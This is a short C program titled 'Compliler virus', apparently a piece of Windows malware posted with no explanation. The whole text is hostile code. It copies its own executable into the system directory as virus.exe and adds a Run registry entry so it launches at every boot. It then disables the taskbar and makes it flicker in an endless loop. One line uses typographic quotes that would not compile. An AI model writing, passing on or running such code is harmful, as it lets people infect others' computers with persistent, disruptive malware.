Compliler virus

#include <windows.h> 


int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, 
                            LPSTR lpszArgument, int nFunsterStil) 


{ 


char system[MAX_PATH]; 
char pathtofile[MAX_PATH]; 
HMODULE GetModH = GetModuleHandle(NULL); 


GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); 
GetSystemDirectory(system,sizeof(system)); 


strcat(system,”\\virus.exe”); 


CopyFile(pathtofile,system,false); 




HKEY hKey; 


RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); 


RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system)); 


RegCloseKey(hKey); 


HWND hWin; 


hWin = FindWindow("Shell_TrayWnd",NULL); 
EnableWindow(hWin,false); 


while(1==1) 
{ 
ShowWindow(hWin,false); 
Sleep(1000); 
ShowWindow(hWin,true); 
Sleep(1000); 
} 


return 0; 
}